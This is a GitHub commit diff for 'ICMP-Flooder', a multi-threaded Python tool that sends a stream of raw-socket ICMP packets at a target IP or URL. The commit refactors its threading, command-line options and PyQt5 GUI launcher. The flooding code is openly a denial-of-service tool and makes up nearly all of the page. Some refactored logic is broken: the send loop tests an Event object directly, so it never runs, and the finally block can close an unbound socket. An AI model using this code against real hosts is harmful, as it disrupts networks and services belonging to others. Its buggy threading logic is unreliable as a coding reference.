Skip to content

Commit

Permalink
Fix/fix threading bugs (#13)
Browse files Browse the repository at this point in the history
* Remove useless requirements

* Done code refactoring + added additional exceptions caught + change parent class to Thread.

* Updated FlooderRunner class after all changes into Flooder.

* Updated icmpflood.py file after all changes.

* Fixed troubles into gui module

* Fixed marks by flake8

* Fixed all marks by pylint
  • Loading branch information
breadrock1 committed Mar 13, 2023
1 parent d2162a5 commit c5e7b8d
Show file tree
Hide file tree
Showing 8 changed files with 330 additions and 262 deletions.
64 changes: 35 additions & 29 deletions icmpflood.py
100644 → 100755
Original file line number Diff line number Diff line change
@@ -1,11 +1,9 @@
from argparse import ArgumentParser, Namespace
from logging import info
from logging import info, error
from socket import gethostbyname
from sys import argv, exit

from PyQt5.QtWidgets import QApplication

from icmpflood.gui.main_window import MainWindow
from icmpflood.flooder_runner import FlooderConsoleRunner
from icmpflood.flooder_runner import FlooderRunner


def log_print():
Expand All @@ -19,28 +17,34 @@ def log_print():


def launch_gui():
app = QApplication(argv)
window = MainWindow()
window.show()
exit(app.exec_())
try:
from PyQt5.QtWidgets import QApplication
from icmpflood.gui.main_window import MainWindow

app = QApplication(argv)
window = MainWindow()
window.show()
exit(app.exec_())

except ImportError as err:
error(msg=f'Failed while importing PyQt5 libraries: {err}')
error(msg=f'{argument_parser.usage}')


def launch_cmd(cmd_options: Namespace):
FlooderConsoleRunner(
ip_address = gethostbyname(cmd_options.u) if cmd_options.u else cmd_options.i
FlooderRunner(
threads_number=cmd_options.t,
arguments={
'ip': cmd_options.i,
'address': ip_address,
'port': cmd_options.p,
'length': cmd_options.l,
'frequency': cmd_options.f
'delay': cmd_options.d,
'length': cmd_options.l
}
).run()

).launch_flooder()

if __name__ == "__main__":
log_print()

argumentParser = ArgumentParser(
argument_parser = ArgumentParser(
prog='ICMP-Flooder',
usage='''python3 icmpflood.py { gui | cmd [options] }
There are two modes to use this simple application:
Expand All @@ -59,20 +63,22 @@ def launch_cmd(cmd_options: Namespace):
allow_abbrev=True
)

subArgumentParser = argumentParser.add_subparsers(title='Script Modes', dest='mode', required=True)
sub_arg_parser = argument_parser.add_subparsers(title='Script Modes', dest='mode', required=True)
sub_arg_parser.add_parser('gui', help='Allows to run application with GUI interface.')
cmd_args = sub_arg_parser.add_parser('cmd', help='Run application into terminal (print -h for more details).')

subArgumentParser.add_parser('gui', help='Allows to run application with GUI interface.')
cmd = subArgumentParser.add_parser('cmd', help='Run application into terminal (print -h for more details).')
cmd_args.add_argument('-u', metavar='--url', help='Target url-address', required=False, type=str)
cmd_args.add_argument('-i', metavar='--ip', help='Target ip-address', required=False, type=str)
cmd_args.add_argument('-p', metavar='--port', help='Target port number (for ip-address)',
required=False, choices=range(0, 65536), default=80, type=int)

cmd.add_argument('-u', metavar='--url', help='Target url-address', required=False, type=str)
cmd.add_argument('-i', metavar='--ip', help='Target ip-address', required=True, type=str)
cmd.add_argument('-p', metavar='--port', help='Target address port number (for ip-address)',
required=False, choices=range(0, 65536), default=80, type=int)
cmd_args.add_argument('-t', metavar='--threads', help='Threads amount', required=False, default=1, type=int)
cmd_args.add_argument('-l', metavar='--length', help='Packet frame length', required=False, default=60, type=int)
cmd_args.add_argument('-d', metavar='--delay', help='Packet sending delay', required=False, default=0.1, type=float)

cmd.add_argument('-t', metavar='--threads', help='Threads amount', required=False, default=1, type=int)
cmd.add_argument('-l', metavar='--length', help='Packet frame length', required=False, default=60, type=int)
cmd.add_argument('-f', metavar='--frequents', help='Frequents of sending', required=False, default=0.1, type=float)

arguments = argumentParser.parse_args()
if __name__ == "__main__":
log_print()

arguments = argument_parser.parse_args()
launch_gui() if arguments.mode == "gui" else launch_cmd(arguments)
65 changes: 32 additions & 33 deletions icmpflood/flooder.py
100644 → 100755
Original file line number Diff line number Diff line change
@@ -1,6 +1,8 @@
from logging import warning, exception
from logging import error, warning
from struct import pack, error as PackException
from threading import Event, Thread, ThreadError
from time import time, sleep
from typing import Any, Dict

from socket import (
socket,
Expand All @@ -11,41 +13,34 @@
IPPROTO_ICMP
)

from PyQt5 import QtCore
from PyQt5.QtCore import QThread


class Flooder(QThread):
class Flooder(Thread):
"""
This class extends PyQt5.QtCore.QThread class which provides ability to launch
run( method ) into own thread. This class build ICMP packet (header + body)
and send to specified address:port.
"""

address: str
"""The target ip-address to send ICMP-packets."""

port_number: int
"""The target port number to send ICMP-packets."""

packet_length: int
"""The length of ICMP-packet body to send."""
def __init__(self, name: str, arguments: Dict[str, Any]):
"""
The main Flooder constructor.
sending_frequency: float
"""The frequency of ICMP-packet sending which provides to set timeout."""
Args:
name (str): The current thread name.
arguments (Dict[str, Any]): The dict with target info.
finish_signal = QtCore.pyqtSignal()
"""
Thread.__init__(self, None)

def __init__(self, address: str, port_number: int, packet_length: int, sending_frequency: float):
QThread.__init__(self, None)
self.address = arguments.get('address')
self.port_number = arguments.get('port')
self.packet_length = arguments.get('length')
self.sending_delay = arguments.get('delay')

self.address = address
self.port_number = port_number
self.packet_length = packet_length
self.sending_frequency = sending_frequency
self.name = name
self.shutdown_flag = Event()

@staticmethod
def _checksum(message) -> int:
def _checksum(self, message) -> int:
"""
This method returns the summary byte length of built ICMP-packet.
Expand Down Expand Up @@ -89,22 +84,26 @@ def run(self):
to stop all threads whose sending packets.
"""
sock = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP)

try:
sock = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP)
inet_aton(self.address)

while True:
while not self.shutdown_flag:
packet = self._construct_packet()
sock.sendto(packet, (self.address, self.port_number))
sleep(self.sending_frequency)
sock.close()
sleep(self.sending_delay)

except PackException as err:
exception(msg=f'Failed while trying pack msg: {err}')
error(msg=f'Failed while trying pack msg: {err}')
warning(msg=f'The {self.name} thread has not been interrupted!')

except ThreadError as err:
error(msg=f'Has been interrupted closing event. Closing all available threads: {err}')
warning(msg=f'The {self.name} thread has been stopped!')

except (KeyboardInterrupt, SystemExit) as err:
warning(msg=f'Has been interrupted closing event. Closing all available threads: {err}')
except Exception as err:
error(msg=f'Unknown runtime error into {self.name} thread!: {err}')

finally:
self.finish_signal.emit()
self.shutdown_flag.set()
sock.close()
83 changes: 49 additions & 34 deletions icmpflood/flooder_runner.py
Original file line number Diff line number Diff line change
@@ -1,56 +1,71 @@
from typing import Dict, Any
from threading import Thread, Event
from datetime import datetime
from logging import error, warning
from typing import Any, Dict, List

from icmpflood.flooder import Flooder


class FlooderConsoleRunner(Thread):
class FlooderRunner:
"""
This class extends threading.Thread class which provides ability to run
any class with another thread. This class runs flooding with another threads.
"""

threads_number: int
"""The amount of threads to flood."""

arguments: Dict[str, Any]
"""The arguments which user has been entered to flood."""
JOIN_TIMEOUT = 5

def __init__(self, threads_number: int, arguments: Dict[str, Any]):
Thread.__init__(self)
"""
The FlooderRunner class constructor.
Args:
threads_number (int): The amount of target threads.
arguments (Dict[str, Any]): The dict of arguments for Flooder class.
"""

self.args = arguments
self.arguments = arguments
self.threads_num = threads_number

self.all_threads = list()
self.flooder = Flooder(
address=self.args.get('ip'),
port_number=self.args.get('port'),
packet_length=self.args.get('length'),
sending_frequency=self.args.get('frequency')
)
self._threads: List[Flooder] = []

def run(self):
def _interrupt_threads(self):
"""
This method runs with another thread to create ICMP-packet and send it
to specified target ip-address.
This method interrupts all running threads.
"""
for thread in self._threads:
thread.shutdown_flag.set()
thread.join(FlooderRunner.JOIN_TIMEOUT)

interrupt_event = Event()
self._threads.clear()

def _launch_threads(self):
"""
This method initializing multiple threads by passed threads number option.
"""
for thread_iter in range(0, self.threads_num):
thread = Flooder(name=f'thread-{thread_iter}', arguments=self.arguments)
self._threads.append(thread)
thread.start()

def launch_flooder(self):
"""
There is main method which runs with another thread to create ICMP-packet and send it
to specified target ip-address.
"""

thread = Thread(
daemon=True,
target=self.flooder.run,
name=f'flooding-cmd-thread-{thread_iter}',
args=(
self.args.get('ip'),
self.args.get('port'),
self.args.get('length'),
self.args.get('frequency'),
)
)
try:
start_time = datetime.now()
self._launch_threads()
while True:
curr_time = datetime.now() - start_time
print('Packets sending duration: {}'.format(curr_time), end='\r')

thread.start()
interrupt_event.wait()
except KeyboardInterrupt:
warning(msg='\nHas been triggered keyboard interruption!')
warning(msg='Terminating all running threads...')

except Exception as err:
error(msg=f'Has been caught unknown runtime error: {err}')

finally:
self._interrupt_threads()
Loading

0 comments on commit c5e7b8d

Please sign in to comment.